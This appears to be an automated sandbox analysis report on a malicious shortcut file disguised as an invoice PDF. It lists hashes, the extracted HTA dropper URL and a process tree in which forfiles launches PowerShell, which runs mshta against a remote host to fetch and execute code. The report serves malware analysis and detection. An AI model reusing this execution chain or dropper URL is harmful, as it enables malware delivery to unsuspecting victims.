31c7a17e9f518c9f55ecfaa428e069d9fc1c820c74ed53392bc1b219915438b3

Analysis

max time kernel
510s
max time network
1192s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
08/05/2024, 14:57

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General

Target

Invoice.pdf.lnk
Size

148KB
MD5

12e2b5c70cc7ba659226a376dc3cc039
SHA1

08f338109566d47a2c0b91e071fabc6781cbd167
SHA256

31c7a17e9f518c9f55ecfaa428e069d9fc1c820c74ed53392bc1b219915438b3
SHA512

b1e451265e4409ab4c1492ee5ca903b444d22604b8f0860bbf949107c92ee952f4fd94535116a202579ab75c12860657cb123d6371d1f54d39409c48b82ead31
SSDEEP

24:8WEe6Dz358m+pyAWkr+/4zc+8PxZvBT0qdd79ds/Z6U/ab9Q9qFBm:8WENDzKvbc7nvBT7dJ9A6U/a5QW

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://invoiceinformations.com/InvoiceInfo/EvernoteInvoice

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	5088	mshta.exe
5	5088	mshta.exe
7	5088	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2108	powershell.exe
2108	powershell.exe
2108	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2108	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 696 wrote to memory of 200	696	cmd.exe	75
PID 696 wrote to memory of 200	696	cmd.exe	75
PID 200 wrote to memory of 2108	200	forfiles.exe	76
PID 200 wrote to memory of 2108	200	forfiles.exe	76
PID 2108 wrote to memory of 5088	2108	powershell.exe	77
PID 2108 wrote to memory of 5088	2108	powershell.exe	77

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Invoice.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:696
- C:\Windows\System32\forfiles.exe
  "C:\Windows\System32\forfiles.exe" /p C:\Windows\System32 /m calc.exe /c "powershell . mshta https://invoiceinformations.com/InvoiceInfo/EvernoteInvoice"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    . mshta https://invoiceinformations.com/InvoiceInfo/EvernoteInvoice
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2108
  - - C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" https://invoiceinformations.com/InvoiceInfo/EvernoteInvoice
      4⤵
      Blocklisted process makes network request
      PID:5088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y2niokro.amg.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/2108-4-0x00007FF90EED0000-0x00007FF90F0AB000-memory.dmp

Filesize
1.9MB

Download
memory/2108-5-0x00007FF90EED0000-0x00007FF90F0AB000-memory.dmp

Filesize
1.9MB

Download
memory/2108-6-0x00007FF90EED0000-0x00007FF90F0AB000-memory.dmp

Filesize
1.9MB

Download
memory/2108-7-0x0000022450540000-0x0000022450562000-memory.dmp

Filesize
136KB

Download
memory/2108-10-0x0000022450870000-0x00000224508E6000-memory.dmp

Filesize
472KB

Download
memory/2108-24-0x00007FF90EED0000-0x00007FF90F0AB000-memory.dmp

Filesize
1.9MB

Download